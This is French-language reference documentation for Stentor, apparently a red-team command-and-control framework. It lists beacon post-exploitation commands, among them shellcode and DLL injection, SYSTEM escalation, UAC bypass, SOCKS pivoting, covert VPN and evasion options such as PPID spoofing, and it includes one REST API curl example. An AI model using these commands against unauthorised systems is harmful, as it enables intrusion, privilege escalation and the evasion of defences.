Commandes de beacon¶
Stentor fournit plus de 120 commandes de beacon organisées en 7 catégories. Les commandes sont exécutées via la console opérateur (cockpit shell) ou par programme via l'API REST. Chaque commande suit le même flux d'exécution : les entrées de l'opérateur sont analysées par le backend, traduites en tâche, mises en file d'attente pour le beacon, transmises via le relais et exécutées sur la cible.
Flux de commandes¶
sequenceDiagram
participant Op as Operator
participant BE as Backend
participant TQ as Task Queue
participant RL as Relay
participant BC as Beacon
participant Mod as Module
Op->>BE: Shell command or API call
BE->>TQ: Parse & enqueue task
Note over TQ: Task waits for<br>beacon poll
BC->>RL: Check-in (poll for tasks)
RL->>TQ: Fetch pending tasks
TQ-->>RL: Return task(s)
RL-->>BC: Deliver task(s)
BC->>Mod: Execute module
Mod-->>BC: Return result
BC->>RL: Submit result on next check-in
RL->>BE: Forward result
BE-->>Op: Display in console / API response Les commandes sont asynchrones : l'opérateur reçoit immédiatement un ID de tâche et les résultats arrivent lors de l'enregistrement suivant du beacon. Utilisez checkin pour forcer un cycle d'interrogation immédiat.
Sections¶
| Section | Commandes | Description |
|---|---|---|
| Opérations sur les fichiers | 12 | Charger, télécharger, répertorier, copier, déplacer, supprimer et lire des fichiers sur le système de fichiers cible |
| Gestion des processus | 15+ | Répertorier, générer, injecter, tuer et manipuler des processus et des jetons |
| Réseau | 8 | Analyse de port, proxy SOCKS, redirection de port, pivotement et VPN secret |
| Évasion | 15+ | Masquage du sommeil, usurpation d'identité PPID, blockdll, méthodes d'appel système et BeaconGate |
| Presse-papiers | 3 | Lecture instantanée du presse-papiers et surveillance continue des modifications du presse-papiers |
| Magasin de jetons | 10+ | Gestion persistante des jetons, voler/stocker/changer/supprimer entre les identités |
| Navigateur LDAP | 3 | Exécutez des requêtes LDAP via des beacons avec des modèles de reconnaissance AD prédéfinis |
| Exécution BOF | 5 | Téléchargez, gérez et exécutez des fichiers d'objet Beacon avec le packaging d'arguments tapés |
| Gestion des sessions | 15 | Sessions d'apparition, liaison P2P, configuration des beacons et stratégies de sortie |
| Regroupement des beacons | -- | Creer des groupes nommes, assigner des beacons, sauvegarder des prereglages de filtres, executer des operations par lot sur les groupes |
Référence rapide¶
Les commandes les plus couramment utilisées dans toutes les catégories. Pour la syntaxe complète et des exemples, consultez chaque page de section.
Opérations sur les fichiers¶
| Commande | Syntaxe | Description |
|---|---|---|
shell | shell <command> | Exécuter une commande via cmd.exe /c |
upload | upload <local_path> [remote_path] | Télécharger un fichier vers la cible |
download | download <remote_path> | Télécharger un fichier depuis la cible |
ls | ls [path] | Lister le contenu du répertoire |
rm | rm <path> | Supprimer un fichier |
cp | cp <src> <dst> | Copier un fichier |
mv | mv <src> <dst> | Déplacer/renommer un fichier |
mkdir | mkdir <path> | Créer un répertoire |
drives | drives | Liste des lecteurs disponibles |
Gestion des processus¶
| Commande | Syntaxe | Description |
|---|---|---|
ps | ps | Liste des processus en cours d'exécution |
execute-assembly | execute-assembly <path> [args] | Exécuter un assembly .NET en mémoire |
shinject | shinject <pid> <arch> <shellcode_path> | Injecter du shellcode brut dans un processus |
dllinject | dllinject <pid> <dll_path> | Injecter une DLL dans un processus via un chargement réfléchissant |
shspawn | shspawn <arch> <shellcode_path> | Générer un processus sacrificiel et injecter du shellcode |
getsystem | getsystem [technique] | Élever vers SYSTEM via l'usurpation d'identité de canal nommé |
elevate | elevate <technique> <listener> | Contournement de l'UAC pour générer un beacon surélevée |
getprivs | getprivs | Répertorier les privilèges de processus actuels |
runas | runas <DOMAIN\user> <password> <command> | Exécuter une commande en tant qu'autre utilisateur |
Réseau¶
| Commande | Syntaxe | Description |
|---|---|---|
socks | socks <port> | Démarrer un proxy SOCKS4a/5 |
rportfwd | rportfwd <bind_port> <fwd_host> <fwd_port> | Inverser le port vers l'avant |
rportfwd_local | rportfwd_local <bind_port> <fwd_host> <fwd_port> | Port inverse avant (relais local) |
covertvpn | covertvpn <interface> <ip/mask> | Créez un tunnel VPN secret |
browserpivot | browserpivot <pid> <arch> | Pivot du navigateur via injection de proxy |
portscan | portscan <targets> <ports> <method> | Analyser les ports sur les hôtes cibles |
Évasion¶
| Commande | Syntaxe | Description |
|---|---|---|
sleep | sleep <seconds> [jitter%] | Définir l'intervalle de rappel du beacon |
mode | mode <dns\|DNS6\|DNS-txt> | Changer le mode du canal de données DNS |
spawnto | spawnto <x86\|x64> <chemin> | Définir un processus sacrificiel pour l’après-ex |
blockdlls | blockdlls <démarrer\|arrêter> | Bloquer les DLL non Microsoft dans les processus enfants |
ppid | ppid <pid> | Définir le PID parent pour l'usurpation d'identité |
Gestion des sessions¶
| Commande | Syntaxe | Description |
|---|---|---|
spawn | spawn [x86\|x64] <listener> | Générer une nouvelle session de beacon |
spawnas | spawnas <DOMAIN\user> <password> <listener> | Générer un beacon en tant qu'autre utilisateur |
inject | inject <pid> <x86\|x64> <listener> | Injecter un beacon dans le processus existant |
link | link <host> [pipe_name] | Lien vers le beacon de canal nommée SMB |
connect | connect <host> <port> | Se connecter au beacon de liaison TCP |
unlink | unlink <child_beacon_id> | Déconnecter un beacon enfant liée |
note | note <text> | Ajouter une étiquette à la session de beacon |
exit | exit | Terminer le processus de beacon |
Utilisation de l'API¶
Toutes les commandes de beacon peuvent être invoquées par programme via l'API REST :
Corps de la demande :
Le champ confirmed reconnaît les commandes potentiellement destructrices (par exemple, exit, clear, injection de processus). L'API renvoie immédiatement un ID de tâche ; interrogez les résultats via WebSocket ou le point de terminaison des résultats de la tâche.
Exemple :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "ps", "confirmed": true}'
Pour les points de terminaison REST dédiés (bascules de mise en veille, de sortie et d'évasion), consultez les pages de commande individuelles et la section Référence de l'API.